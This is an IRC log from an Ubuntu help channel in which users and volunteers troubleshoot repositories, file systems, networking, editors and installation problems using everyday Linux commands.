[04:47] <Ahorner> !multiverse
[04:47] <atoponce> Ahorner: yes. there is a difference
[04:47] <robdeman> folks my machine randomly locksup / freezes for a short while when pressing 'tab' in the terminal.. is this normal? during the lockuop the harddrives is really active
[04:47] <Ahorner> hmm
[04:47] <blanky> Canonball: so you haven't installed ubuntu yet, right?
[04:47] <Ahorner> !multiverse
[04:47] <ubotu> The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[04:47] <Ahorner> well
[04:47] <ferronica> jetscreamer: what i do tell me from begining
[04:47] <atoponce> Ahorner: universe is community supported free software, and multiverse is community supported non-free software
[04:47] <ekom13> i have a terminal window open for trying to set a bluetooth mouse to work at start up, how do i save the terminal file?
[04:47] <Ahorner> how do i enable multiverse then
[04:48] <Canonball> blanky: yes
[04:48] <Senesence> Anyone here familiar with Ubuntu's DHCP functions?
[04:48] <atoponce> Ahorner: add it to you /etc/apt/sources.list file
[04:48] <Askar> atoponce: sacater: ok thanks
[04:48] <blanky> Ahorner: gksudo /etc/apt/sources.list, remove all of the number signs on each line
[04:48] <atoponce> Askar: np
[04:48] <Ahorner> o ok its backports
[04:48] <blanky> !repositories | Ahorner
[04:48] <ubotu> Ahorner: The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[04:48] <atoponce> Ahorner: no, it's not backports. that's different
[04:48] <blanky> Canonball: so you haven't even installed ubuntu and you get that error?
[04:48] <Ahorner> backports=multiverse?
[04:48] <Canonball> I started Ubuntu with the cd. I pressed the button to install ubuntu
[04:48] <Ahorner> ok
[04:48] <atoponce> Ahorner: no
[04:48] <blanky> !backports | Ahorner
[04:48] <ubotu> Ahorner: If new updated Ubuntu packages are built for an application, then they go into Ubuntu Backports. See https://help.ubuntu.com/community/UbuntuBackports
[04:48] <Canonball> yes blanky
[04:48] <Ahorner> ahh ok
[04:48] <rbil> robdeman: yes, as tab is autocompletion and if you don't actually start typing in the command you want, it'll have to assume it needs to list all commands
[04:48] <Ahorner> so what do i add to lists to enable multiverse
[04:49] <robdeman> rbil: aaah....
[04:49] <Ahorner> *sources*
[04:49] <atoponce> Ahorner: just that. 'multiverse'
[04:49] <blanky> !repositories > Ahorner
[04:49] <rpc> so what is my first step for grabbing the right ubuntu iso?
[04:49] <rpc> i need Kubuntu
[04:49] <Senesence> Ubuntu is unable to renew a DHCP lease, only windows can do that.....or so it seems.
[04:49] <blanky> rpc: if you have a pretty slow computer or if you just want to be on the safe side get the alternate install disk
[04:49] <Ahorner> where do i put it in at
[04:49] <atoponce> Ahorner: add it at the end of the already uncommented existing lines
[04:49] <blanky> rpc: otherwise get the desktop install disk, they're both the same thing, just the installation methods are different
[04:49] <nosse> Ahorner: https://help.ubuntu.com/community/Repositories/Ubuntu
[04:50] <Ahorner> does it matter where
[04:50] <vitalstatistix> any folks here with geforce go 6400/6200 cards on their laptops?
[04:50] <atoponce> Ahorner: look at the docs
[04:50] <blanky> Canonball: When did you get the error, in the very beginning? Or when you were installing?
[04:50] <rpc> blanky hm
[04:50] <atoponce> Ahorner: that everyone is showing you
[04:50] <Ahorner> lol ok
[04:50] <Canonball> blanky: should i write the error on a sheet and tell you exactly?
[04:50] <sacater> Ahorner: send me your sources.list and the source you are trying to add to my email, i will do for you
[04:50] <blanky> Canonball: that would be great
[04:50] <vitalstatistix> any folks here with geforce go 6400/6200 cards on their laptops?
[04:50] <Canonball> kk see ya soon
[04:50] <Senesence> I wonder how you get people to help you out in this jungle?
[04:50] <blanky> !paste | sacater
[04:50] <vitalstatistix> join #gentoo
[04:50] <ubotu> sacater: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste - see also the #ubuntu channel topic)
[04:50] <blanky> Senesence: what's the problem?
[04:51] <Senesence> blanky: Ubuntu can't renew DHCP lease.
[04:51] <sacater> Ahorner: past your sources.list to past.ubuntu-nl.org
[04:51] <sacater> oast*
[04:51] <sacater> past**
[04:51] <WaqasToor> has any body tried the localization thingie that is under launchpad rosseta ?
[04:51] <BVBBQ> for some reason the people at #amarok seem useless at figuring out a small issue i am having with my ipod.
[04:51] <sacater> paste***
[04:51] <blanky> you're sure everything else is set up correctly; routers, modems, things like that?
[04:51] <jetscreamer> Senesence: try ifdown eth0 && ifup eth0
[04:51] <sacater> sacater: then show me the source you are trying to add
 sacater: then show me
[04:51] <blanky> hey jetscreamer you're from #ioquake3! :D
[04:51] <Ahorner> im confused
[04:51] <ekom13> how do i save a change i make to the file ect/default/bluetooth  it says its read only
[04:52] <atoponce> Senesence: don't forget sudo in front of the commands that jetscreamer said
[04:52] <Ahorner> what is the exact line i put in to enable multiverse
[04:52] <blanky> Ahorner: that's because you keep ignoring what everyone is telling you to do
[04:52] <Senesence> jetscreamer: Tried that, didn't work, but shouldn't ubuntu do this automatically like windows does?
[04:52] <jetscreamer> blanky: yeah i'm in there
[04:52] <blanky> !repositories | Ahorner
[04:52] <atoponce> Ahorner: pm me, and i'll help you out
[04:52] <ubotu> Ahorner: The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[04:52] <jetscreamer> Senesence: yes, it works here all i know
[04:52] <sacater> Ahorner: grr, paste your sources.list to past.ubuntu-nl.org
[04:52] <rbil> ekom13: you need to sudo to edit things in /etc
[04:52] <blanky> Ahorner: look for the section on multiverse
[04:52] <robdeman> rbil: is it possible that this 'freezing' behaviour becomes less after a while b/c the filesysrem has been cached or something? my live production Ubuntu machine is much faster when I hit 'tab' -- and this is going throuvgh a ssh connection... ?
[04:52] <Ahorner> atoponce: ok
[04:52] <ekom13> how do i save it in the terminal then?
[04:52] <blanky> ekom13: what editor? nano?
[04:52] <blanky> ekom13: vim?
[04:52] <Ahorner> how exactly do i pm
[04:53] <jetscreamer> ctrl+-x to exit and save in nano
[04:53] <ekom13> yes nano
[04:53] <Ahorner> nvm lol jk
[04:53] <blanky> ekom13: CTRL+O
[04:53] <jetscreamer> ctrl+o to save
[04:53] <blanky> ekom13: I think
[04:53] <sacater> Ahorner: join #sacater so we can sort this out, atoponce you too
[04:53] <ekom13> awesome thanks
[04:53] <blanky> ekom13: then CTRL+X to quit
[04:53] <rbil> robdeman: hmmm, through ssh? I don't believe it caches, but I could be wrong
[04:53] <blanky> I think
[04:53] <Senesence> jetscreamer: I tried everything, taking up/down the interface, using dhclient, but I can't renew lease. I have to boot windows to get a lease, and then I can use ubuntu but only until lease expires again. What can I do here?
[04:53] <noelferreira> hi people. anyone with experience with rt61 wireless driver. i have a conflict between rt61sta.dat file and /etc/network/interfaces. my system hangs up. any help?
[04:53] <jetscreamer> those things at the bottom of nano....ctrl
[04:53] <robdeman> rbil: my fresh Ubuntu 6.10 server locally responds much slower / has those weir d'lockups' when pressing tab (lotsa hdd activity) than my remote Ubuntu machine?
[04:54] <atoponce> Ahorner: /join #sacater
[04:54] <sacater> Ahorner: please join #sacater with me and atoponce
[04:54] <jetscreamer> Senesence: not sure not my forte :/ ...examine what pump or dhclient or whichever is doing i guess
[04:54] <blanky> Senesence: did you do what he said to do?
[04:54] <Dave_O`Tool> Does the new 7.04 64bit work on core2duo or do I still need to go with x86?
[04:54] <rbil> robdeman: give me an example of how you're using tab
[04:54] <Senesence> blanky: Yea, didn't work, I still had to boot windows to get a lease.
[04:54] <sacater> Ahorner: please type this..... /j #sacater
[04:55] <robdeman> rbil: well just vi /etc/sys <tab> ... and then I want a list of whatever there is /etc/ that starts with sys....
[04:55] <blanky> Senesence: Since it indeed is hard to get help here, you might want to try the forums ( ubuntuforums.org )
[04:55] <Dave_O`Tool> Does the 7.04 64bit work on core2duo or do I still need to go with x86?
[04:55] <laptop> OMFG I just downloaded REALPLAYER and realmedia STILL doesnt play in firefox who do I have to kill to associate realplayer with firefox????
[04:55] <jetscreamer> Senesence: you 'can' just make it a static ip, if you know what to put... a hack but functional
[04:56] <blanky> laptop: check about:plugins, is realplayer in there?
[04:56] <noelferreira> hi people. anyone with experience with rt61 wireless driver. i have a conflict between rt61sta.dat file and /etc/network/interfaces. my system hangs up. any help?
[04:56] <Senesence> jetscreamer: What happens when my provider decides to shuffle the IP's given out? (it does that sometimes)
[04:56] <esperegu> I want to deinstall a package that failed during installation but a 'apt-get remove vmware-player' fails... any suggestions?
[04:56] <blanky> noelferreira: maybe you would like to try the forums ( ubuntuforums.org )
[04:56] <atoponce> Dave_O`Tool: /join #ubuntu+1 for feisty support
[04:57] <blanky> esperegu: is that waht the package was called? if so, try sudo apt-get remove --purge vmware-player
[04:57] <dfgas> anyone get a sigmatel 9200 (sound card) working yet?
[04:57] <esperegu> blanky: k. tryin
[04:58] <esperegu> invoke-rc.d: initscript vmware-player, action "start" failed.
[04:58] <esperegu> dpkg: error while cleaning up:
[04:58] <esperegu>  subprocess post-installation script returned error exit status 1
[04:58] <esperegu> Errors were encountered while processing:
[04:58] <esperegu>  vmware-player
[04:58] <esperegu> E: Sub-process /usr/bin/dpkg returned an error code (1)
[04:58] <kev_> !ntfs
[04:58] <ubotu> To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions . For write access see !ntfs-3g or !fuse
[04:58] <Grnsgrf> has anyone got voipbuster running under linphone?
[04:58] <Senesence> ifconfig doesn't give me as much information as ipconfig /all on windows. Where can I see the lease obtained/expires dates on ubuntu?
[04:58] <jetscreamer> try apt-get -f install
[04:59] <jetscreamer> did you try ifconfig -a ?
[04:59] <mc44phone> ok i have a screwed grub and a partially corrupt alternate install cd. any cunning ideas?
[04:59] <rbil> robdeman: sorry, I don't know why?
[04:59] <jetscreamer> boot the cd, hit c, fix it
[05:00] <mc44phone> c?
[05:00] <mc44phone> the alternate cd grub install is erroring
[05:00] <Senesence> Anyone know the command to show DHCP lease obtained/expires dates?
[05:00] <atoponce> mc44phone: download and burn a new one
[05:00] <mc44phone> yeah except i cant boot into an os
[05:01] <atoponce> mc44phone: so what are you using right now for irc?
[05:01] <Ahorner>  like cheece
[05:01] <mc44phone> my phone
[05:01] <atoponce> mc44phone: interesting. well, you're not going to get far with a bad cd. you need a good one
[05:02] <noelferreira> please people. i need urgen help
[05:02] <noelferreira> hi people. anyone with experience with rt61 wireless driver. i have a conflict between rt61sta.dat file and /etc/network/interfaces. my system hangs up. any help?
[05:02] <atoponce> noelferreira: no, i don't have experience with wireless
[05:02] <noelferreira> lol thanks anyway atoponce
[05:03] <mc44phone> <atoponce: i can get into a shell with my working edgy partition on it but grub-install says not a block device
[05:03] <blanky> esperegu: you might want to try virtual box, http://www.virtualbox.org/wiki/Downloads
[05:03] <[echelon] > okay
[05:03] <esperegu> blanky: I saw it. but I need vmware for now... have a premade image
[05:03] <[echelon] > i'm a windows user about to install ubuntu
[05:03] <cliebow> Yay!
[05:04] <[echelon] > what would be a good partition to put on my external HD that can both be read by windows (to back up music/movies/etc.) and ubuntu?
[05:04] <[echelon] > would FAT32 be fine?
[05:04] <[echelon] > s/partition/filesystem
[05:04] <foul> [echelon] : It doesn't really matter..
[05:04] <rbil> echelon: FAT32 is probably what u want
[05:04] <jetscreamer> fat32 has a 2gb filesize limit
[05:04] <atoponce> mc44phone: wget the alternate iso from the shell. there is a text-based cd burner, but not sure what it's called...
[05:04] <iapx8088> [echelon] , I suggest you avoid ntfs
[05:04] <foul> Depends on really if you're still using win32
[05:04] <jetscreamer> if you don't have >2gb file... sure
[05:05] <foul> FAT32 would be ok, for reading on win/nix
[05:05] <foul> & writing ;)
[05:05] <[echelon] > okay
[05:05] <[echelon] > i shall format as FAT32
[05:05] <jetscreamer> vfat
[05:05] <esperegu> is ntfs a problem then?
[05:05] <foul> Great.
[05:05] <mc44phone> atoponce: need ndisrapper
[05:05] <cyt> Why does Ubuntu ship with the tiny vervion of Vim? Do guys really use it to do works?
[05:05] <laptop> Which fileformat is better EXT3 or NTFS?
[05:05] <robdeman_> folks I have a Intel 82801ER raid controller... is there anyway to use thbis with Ubuntu?
[05:05] <foul> [echelon] : are you doing this on this computer, or another?
[05:05] <atoponce> mc44phone: to get online?
[05:05] <blanky> [echelon] : FAT32 on what, linux? or windows?
[05:05] <mc44phone> yep
[05:05] <[echelon] > this computer
[05:05] <jetscreamer> laptop: that depends on what you need it for
[05:05] <foul> laptop: They're two different sorts of systems.
[05:05] <laptop> UBUNTU
[05:06] <laptop> for running ubunut
[05:06] <laptop> ubuntu
[05:06] <atoponce> mc44phone: hmm. then that's out of my league. i've never had any luck with wireless in linux
[05:06] <jetscreamer> then ntfs wouldn't be your first choice
[05:06] <foul> laptop: ntfs isn't a linux filesystem
[05:06] <blanky> [echelon] : it doesn't really give great performance I think, I suggest just keeping it NTFS and ext2/3/reiserfs, and using tools to read back and forth
[05:06] <nosse> cyt: I use vim
[05:06] <laptop> foul yes but does that mean it wont work?
[05:06] <[echelon] > blanky
[05:06] <ravi_master> anyone know how to get linuxmce on ubuntu installation?
[05:06] <blanky> cyt: I had the same problem, just sudo apt-get install vim
[05:06] <blanky> [echelon] : hello
[05:06] <foul> laptop: not neccesarily, but it's not really worth trying.
[05:06] <[echelon] > hmmmm
[05:06] <atoponce> mc44phone: can you pastebin your /boot/grub/menu.list?
[05:06] <jetscreamer> apt-get install mc
[05:07] <laptop> ok
[05:07] <ravi_master> jetscreamer: you're not talking to me are you?
[05:07] <esperegu> anyone suggestions to deinstall a failed package? apt-get remove --purge and dpkg -r did not work...
[05:07] <cyt> nosse: Me too. So I'm curious why ships with a tiny version. It seems guys use FULL vim :P
[05:08] <nosse> cyt: what is full vim?
[05:08] <jetscreamer> ravi_master: not afaik, but if mc seems cool to you go for it
[05:08] <jetscreamer> ah no idea what that mce thingy is
[05:08] <nosse> I've been using the one that comes with ubuntu
[05:08] <mc44phone> atoponce: not without typing it all out by hand
[05:08] <ravi_master> jetscreamer: what the heck is mc?
[05:08] <jetscreamer> midnight commander
[05:08] <gharz> guys, how do i restore the login window for gnome? i previously installed xubuntu-desktop and it replaced the gnome login window.
[05:08] <gharz> please help
[05:08] <jetscreamer> apt-cache search mc
[05:08] <ravi_master> !mc
[05:08] <ubotu> mc: midnight commander - a powerful file manager. In component universe, is optional. Version 1:4.6.1-5 (edgy), package size 2057 kB, installed size 5944 kB
[05:08] <jetscreamer> gharz: dpkg-reconfigure gdm i think
[05:09] <gharz> jetscreamer, ok... i'll try that
[05:09] <[echelon] > jetscreamer
[05:09] <cyt> nosse: pkg name 'vim', Ubuntu ships with 'vim-tiny' by default.
[05:09] <jetscreamer> sudo of course
[05:09] <[echelon] > mind if i send you a privmsg?
[05:09] <[echelon] > kinda confusing in this huge room
[05:09] <[echelon] > :P
[05:09] <jetscreamer> not sure you can.. you can try
[05:09] <gharz> jetscreamer, looks like it worked... i'll check on it now.
[05:09] <gharz> thanks!
[05:10] <cyt> nosse: I found this becoz ':syntax on' cannot work :P
[05:10] <shay-> hey im cannonball, blanky
[05:10] <Ayabara2> I'm gonna do my first cd rip in ubuntu. Which app would you recommend?
[05:10] <blanky> hi shay-
[05:10] <gharz> exit
[05:10] <shay-> im writing on my laptop and installing ubuntu on my desktop ...
[05:11] <jetscreamer> [echelon] : vfat is a good dmz for between lin|win
[05:11] <[echelon] > jetscreamer
[05:11] <jetscreamer> vfat/fat32
[05:11] <[echelon] > mk
[05:11] <[echelon] > that's what i'm using
[05:11] <shay-> ive got the error: failed to start the x server(your graphical interface) it is likely it is not setup correctly
[05:11] <jetscreamer> it's what i do
[05:11] <blanky> shay-: okay
[05:12] <blanky> shay-: is that the second you put in the CD? or while installing
[05:12] <shay-> would you like to view the x erver output to diagnose the problem?
[05:12] <jetscreamer> [echelon] : you can use explore2fs in windows to read from an ext partition
[05:12] <blanky> shay-: sure, paste it
[05:12] <blanky> !pastebin | shay-
[05:12] <ubotu> shay-: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste - see also the #ubuntu channel topic)
[05:12] <jetscreamer> [echelon] : and mount the ntfs parts ro to read from linux
[05:12] <nosse> cyt: my vim can handle 'syntax on', vimrc works fine too. maybe I just have the full version, never seen the QUI thou
[05:12] <shay-> i insert the cd and than i click on start/install ubuntu
[05:12] <blanky> cyt: I told you already, sudo apt-get install vim, that fixed my problems
[05:12] <[echelon] > mk jetscreamer
[05:12] <[echelon] > :)
[05:12] <[echelon] > i am talking about all this stuff
[05:13] <blanky> shay-: and right after you click that it gives you the error right
[05:13] <shay-> and than this error coes
[05:13] <[echelon] > and the livecd download is only half don
[05:13] <[echelon] > done*
[05:13] <[echelon] > just gathering the info i need before
[05:13] <shay-> yes
[05:13] <derspankster> I need help with a video card
[05:13] <[echelon] > just in case i can't get net access
[05:13] <[echelon] > :P
[05:13] <blanky> shay-: don't paste the output here, paste it at http://paste.ubuntu-nl.org
[05:13] <gharz> jetscreamer, it didn't replace the xubuntu login after dpkg-reconfigure gdm.
[05:13] <shay-> ok
[05:13] <shay-> wait a second plz
[05:13] <blanky> derspankster: installing drivers? You've tried to install them, right?
[05:13] <blanky> shay-: okay
[05:13] <derspankster> yes, I have drivers installed
[05:14] <[echelon] > ok
[05:14] <[echelon] > one more question
[05:14] <blanky> derspankster: then just state your problem, when you do we assume you have one, you don't need to tell us heh
[05:14] <[echelon] > does ubuntu support dual-monitor setup?
[05:14] <jetscreamer> gharz: not sure then
[05:14] <[echelon] > my lappy is tricky
[05:14] <derspankster> card freezes after boot
[05:14] <blanky> [echelon] : sure you just need to configure it
[05:14] <[echelon] > it has an aux vga output
[05:14] <[echelon] > :P
[05:14] <democracy> Attention Ubuntu! Has anyone fixed the rt61 wireless driver issues? My system just freezes!
[05:14] <jetscreamer> [echelon] : what blanky said
[05:14] <giany911> aw man beryl is great:D
[05:14] <Ayabara2> Will "CD quality, lossy" in Sound Juicer give good enough results? Back in my windows days I used AAC@160kbps
[05:15] <blanky> derspankster: sorry, don't know about that, say it again in one message, so other people can probably help
[05:15] <derspankster> display freezes I mean
[05:15] <lalakis> hello, how can I activate xgl frontend?
[05:15] <derspankster> want to install nvidia 6200 and when I do, system boots then display freezes
[05:16] <cyt> blanky: I know how to solve this problem. But my problem is why this problem should happen? :P
[05:17] <blanky> cyt: it's not a problem, although it is with most people, it's like you said, they installed a lite version of vim I guess, don't know why
[05:17] <syntaxx> im having problem in pam_tally.so to work i added auth required and account required pam_tally.so onerr=fail no_magic_reset deny=4 but whenever i login with 4 invalid logins it doesnt lock the user. anyone know why im having that error?
[05:17] <ekom13> can someone help me with my speakers?  when using head phones sound works just fine, other wise i get no sound.
[05:18] <tbuss> im having problems installing a wifi card with rtl8158l chipset, I have tried variuos tutorials and howto's, nothing is working
[05:18] <[echelon] > dude
[05:18] <[echelon] > score
[05:18] <[echelon] > i have one more blank CD
[05:18] <[echelon] > i was destined to install this
[05:18] <[echelon] > :P
[05:19] <yipe> is there a way to get a list of all the packages I have added over the default packages since install?
[05:19] <noelferreira> hi people. anyone with experience with rt61 wireless driver. i have a conflict between rt61sta.dat file and /etc/network/interfaces. my system hangs up. any help?
[05:19] <atoponce> yipe: you want just the packages that you installed that did not come with the default install?
[05:20] <yipe> atoponce, exactly :)
[05:20] <atoponce> yipe: i don't know of any way to do that off hand. i imagine it would require some shell scripting
[05:20] <tbuss> anyone know of a channel for wifi help
[05:20] <bruenig> do what
[05:20] <quaal> why do we not have a fsck option on boot ?
[05:20] <isofunk> no
[05:21] <quaal> i had to burn a livecd to run fsck
[05:21] <atoponce> yipe: probably looking for date-timestamps on executables, maybe, would be my first attempted guess
[05:21] <robdeman_> ehrm folks: apt-get command not found...?
[05:21] <NickGarvey> quaal, you can run it from the terminal..
[05:21] <bruenig> yipe, what is it you are trying to do
[05:21] <robdeman_> how can i install apt-get without having apt-get ?
[05:21] <atoponce> yipe: could prove to be an interesting challenge, i guess
[05:21] <democracy> robdeman_: apt-get install apt-get
[05:21] <quaal> NickGarvey, i was not able to get to the terminal.
[05:21] <NickGarvey> quaal, whys that?
[05:21] <quaal> NickGarvey, i couldnt boot to the linux drive.
[05:21] <tbuss> later everyone. thanks for all your help
[05:21] <quaal> it took me to initramfs
[05:22] <quaal> (busybox)
[05:22] <atoponce> bruenig: he wants a list of only the packages that he installed, not the ones from the default install
[05:22] <quaal> it has no fsck
[05:22] <NickGarvey> quaal, any chance that you have a jmicron chipset?
[05:22] <Peter_Johnsson> soudns like the same problem i have i cant even install from a live cd
[05:22] <quaal> NickGarvey, nf7-s, nforce2
[05:22] <robdeman_> ah.. where is the file to enable/disable apt-get repositories?
[05:23] <Peter_Johnsson> jmicron.. sigh i want a fix
[05:23] <democracy> robdeman_: /etc/apt/sources.list
[05:23] <yipe> bruenig, well at this point I'm just interested in the problem for curiosity's sake, but I was trying to make a post-install script for when I re-partition my drive in preparation for upgrading to feisty
[05:23] <robdeman_> thx
[05:23] <NickGarvey> Peter_Johnsson, dev said he'd have it up today
[05:23] <erUSUL> quaal: you can force a fsck in next reboot like this 'sudo touch /forcefsck'
[05:23] <Peter_Johnsson> a new iso image? i dont want to have to recompile kernels and stuff
[05:24] <Peter_Johnsson> what time is it over there? im in aus at 2am lol
[05:24] <NickGarvey> Peter_Johnsson, https://launchpad.net/ubuntu/+source/linux-source-2.6.20/+bug/84964/comments/110
[05:24] <rpc> 5.24pm
[05:24] <atoponce> Sat Mar 24 10:16:38 MDT 2007
[05:24] <rpc> Peter_Johnsson isn't it 25th there already?
[05:25] <rpc> how is the future like? :p
[05:25] <Peter_Johnsson> yep its Sunday 25th at 2am
[05:25] <NickGarvey> whoooaa
[05:25] <quaal> erUSUL, that command can be run from initramfs ?
[05:25] <rpc> he he
[05:25] <shay-> (blanky): http://paste.ubuntu-nl.org/11865/
[05:25] <ferronica> are you here???
[05:25] <Peter_Johnsson> so when i wake up there should be a new iso to download from the daily builds with 2.20.13? or somethign
[05:26] <Peter_Johnsson> i cant wait, ive been craving this beta for months
[05:26] <Peter_Johnsson> stuck on vista
[05:26] <democracy> Great and honourable gurus of the esoteric! How may I venture into the realm of the unknown and too chant the fiesty battle cry?
[05:26] <blanky> shay-: in the first menu do you see something like cd check?
[05:26] <dfgas> anyone get a sigmatel 9200 (sound card) working yet?
[05:26] <shay-> yes
[05:26] <blanky> shay-: try that
[05:26] <shay-> i used it
[05:27] <shay-> ok again
[05:27] <blanky> shay-: it was correct?
[05:27] <blanky> shay-: or did it fail
[05:27] <shay-> it was correct
[05:27] <artis-feisty> Any idea how to activate gddcontrol for non-root users?
[05:27] <GekiBlue> ... I keep getting a message that bittornado 'suddenly closed' when I close it myself when it's done... Is there anything I can do  about that?
[05:27] <ferronica> Any one here know how to mount Window HDD in ubuntu 6.06 LTS Dapper Drake ????
[05:27] <artis-feisty> In feisty that is
[05:28] <atoponce> artis-feisty: /join #ubuntu+1 for feisty support
[05:28] <bofh80> anybody here know how to disable crash reporting?
[05:28] <artis-feisty> atoponce: thanks
[05:28] <atoponce> artis-feisty: np
[05:28] <kdavf> Any familiar with synce?
[05:28] <noelferreira> hi people. anyone with experience with rt61 wireless driver. i have a conflict between rt61sta.dat file and /etc/network/interfaces. my system hangs up. any help?
[05:29] <mikeyhatesms> help! is anyone familiar with the 'wubi' install.exe for ubuntu?  is it a reliable install method?  i have been sitting on the fence for so long, and i really do want to switch.
[05:29] <poningru> mikeyhatesms: its not a reliable install method
[05:29] <poningru> mikeyhatesms: the biggest thing being you cant get rid of windows
[05:30] <shay-> blanky i check the disc again
[05:30] <blanky> shay-: was it okay?
[05:30] <blanky> shay-: or did it fail
[05:30] <kdavf> Anyone know a method to sync email with pocket pc?
[05:30] <poningru> any reason why you arent just getting a normal install cd?
[05:30] <shay-> blanky yes
[05:30] <shay-> blanky it was ok
[05:30] <blanky> shay-: weird...hmm...
[05:30] <ferronica> Any one here know how to mount Window HDD in ubuntu 6.06 LTS Dapper Drake ????
[05:30] <poningru> mikeyhatesms: you can still try out ubuntu with the install cd without installing anything to your hard drive
[05:30] <quaal> erUSUL, sorry i got disconnected or soething weird. did you say that command can be run from initramfs?
[05:30] <blanky> shay-: I'm not really sure buddy, maybe you can try asking in ubuntuforums.org ?
[05:30] <poningru> !ntfs | ferronica
[05:30] <ubotu> ferronica: To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions . For write access see !ntfs-3g or !fuse
[05:31] <blanky> shay-: show them what you showed me and give as much information
[05:31] <poningru> ferronica: are you stuck somewhere?
[05:31] <shay-> blanky ok i will do that tank you for your time
[05:31] <kdavf> mount /dev/hda -t ntfs -r -o umask=0222
[05:31] <kdavf> hda=your hd
[05:31] <ferronica> poningru: yeah
[05:31] <blanky> shay-: no problem, sorry I couldn't help
[05:31] <ferronica> poningru: i am trying to mount via terminal
[05:32] <shay-> blanky np .. you tried :)
[05:32] <poningru> kdavf: you are supposed to mount a partition so it would be hda1 or whatever
[05:32] <kdavf> sorry... yes
[05:32] <mikeyhatesms> poningru: i have  all these files that i don't want to lose, and i don't know how to convert or 'migrate?' them to ubuntu ... people say you lose files on partitioning, and i'm such a noob that it scares me ...
[05:32] <kdavf> not full syntax
[05:32] <ferronica> poningru: how to install NTFS 3G
[05:32] <kdavf> mount -t ntfs -r -o umask=0222 /dev/hdX /mount/point
[05:32] <ferronica> poningru: Really i dont know
[05:32] <McQueen> hi, how can i connect to win pc. samba installed. but when i  click the win shared folder its getting error about security... how can i pass this problem?
[05:33] <poningru> ferronica: do you want to read and write to ntfs?
[05:33] <kdavf> for ubuntu you dont need anything else.
[05:33] <kdavf> is only read only though
[05:33] <frojnd> hello guys: how can I connect on other ubuntu maschine if I know username pass and IP ?
[05:33] <ferronica> poningru: yes
[05:33] <kdavf> use captive if you want read write but dont reccommend it.
[05:33] <kdavf> frojnd: ssh
[05:33] <poningru> ferronica: hold on dude
[05:34] <ferronica> poningru: i have three HDD two sata and one pata where ubuntu installed
[05:34] <atoponce> frojnd: ssh username@IP
[05:34] <ferronica> poningru: okay
[05:34] <robdeman_> folks is there a tool to setup the network from a terminal? some wizzard like the installer uses?
[05:34] <rbil> frojnd: use ssh if you have sshd running on the other ubuntu box
[05:34] <atoponce> frojnd: assuming, that there is an ssh server installed at the IP address
[05:34] <frojnd> if not?
[05:34] <frojnd> he must install sshd?
[05:34] <atoponce> frojnd: yup
[05:34] <atoponce> frojnd: or telnet
[05:34] <kdavf> robdeman lol how could you do that! you couldn't connect to the machine remotely w/o ip
[05:35] <atoponce> frojnd: or, you'll need to be at the physical terminal
[05:35] <SeveredCross> Remotely?
[05:35] <cliebow> frojnd, sudo apt-get install openssh-server
[05:35] <SeveredCross> You can control the network from the command line via ifconfig...
[05:35] <mikeyhatesms> anybody in south florida (boca raton) willing to meet to help me install to laptop?
[05:35] <SeveredCross> I don't remember where you set up DHCP and such
[05:35] <McQueen> hi, how can i connect to win pc. samba installed. but when i  click the win shared folder its getting error about security... how can i pass this problem?
[05:36] <cld2> anyone know how to mount a mac formated ipod in linux?
[05:36] <tbuss> any wifi experts out there
[05:37] <cliebow> SeveredCross, how aboot /etc/dhcp3/dhcpd.conf
[05:37] <cliebow> cld2:ive mounted ibook partitions with -t hfsplus
[05:37] <SeveredCross> That's it. :)
[05:37] <poningru> ferronica: there is no easy way to do this
[05:38] <cld2> cliebow: thanks.
[05:38] <ferronica> poningru: how to mount it
[05:38] <poningru> ferronica: yeah
[05:38] <cliebow> pleasure
[05:38] <poningru> ferronica: https://help.ubuntu.com/community/MountingWindowsPartitions/ThirdPartyNTFS3G
[05:38] <ferronica> poningru: how to install this NTFS3G
[05:38] <poningru> the only trouble is you have to follow the manual way
[05:38] <ep2011> I need help finding a good, inexpensive USB wireless adapter, that I will be able to configure with ubuntu. I only have internet access on another computer before wireless, so I cant install things in the command promp
[05:38] <Duckers_> hi.. I'm getting "Critical error during ped_disk_new!" when i choose to edit the partition table manually while installing kubuntu. then i get the partition edit screen with all buttons disabled and can't do anything except go back or terminate installation. any ideas what to do?
[05:38] <poningru> which is kinda hard to do
[05:38] <SeveredCross> ferronica: Drop to a command prompty, type sudo apt-get install ntfs-3g
[05:38] <poningru> unless you know command line a bit
[05:38] <SeveredCross> The guide will tell you I think.
[05:39] <ep2011> Duckers_ - Did you check the disk for errors?
[05:39] <cld2> cliebow: :) thanks man.
[05:39] <Duckers_> ep2011: no.. how do i do that?
[05:39] <vox754> !ask > tbuss
[05:39] <cliebow> cool..worked ok then?
[05:39] <bruenig> yipe, ok, I think I have figured a way, if you do this it will tell you everything that you added or updated after you installed: INSTALL=$(ls -l /var/lib/dpkg/info | grep \ time.list$ | awk '{print $6}') ; ls -l /var/lib/dpkg/info | grep .list$ | grep -v $INSTALL | awk '{print $8}' | sed 's/.list//'
[05:39] <cld2> yup
[05:39] <cliebow> ^_^
[05:39] <Sixer> Hi, has anyone gotten netatalk-2.0.3 to work right out of the box?
[05:39] <Sixer> The box being the apt-package in Universe
[05:39] <ep2011> Duckers_ - when you put in the disk, instead of choosing "start kubuntu" click "check disk for errors"
[05:39] <Sixer> I can't connect to the machine from my OS X workstation
[05:39] <ep2011> (or something similar to that)
[05:39] <atoponce> bruenig: impressive!
[05:40] <robdeman_> what would be a replacement voor VI?
[05:40] <Jonas_> Hello, I want to compile audacity 1.3 on ubuntu (since I did not find any .deb), but I get the error "../libtool: line 5472: 172.20.66.123: command not found", where 172... is my ip-address, why is that and what can I do about that?
[05:40] <Sixer> robdeman_: I like pico/nano, heh
[05:40] <Duckers_> ep2011: i allready have two partitions on it with other os'es.. i don't want to mess them up.. any risk of doing that?
[05:40] <robdeman_> VI doesnt really work verry well .. esc-i doesnt insert.. not sure what happened
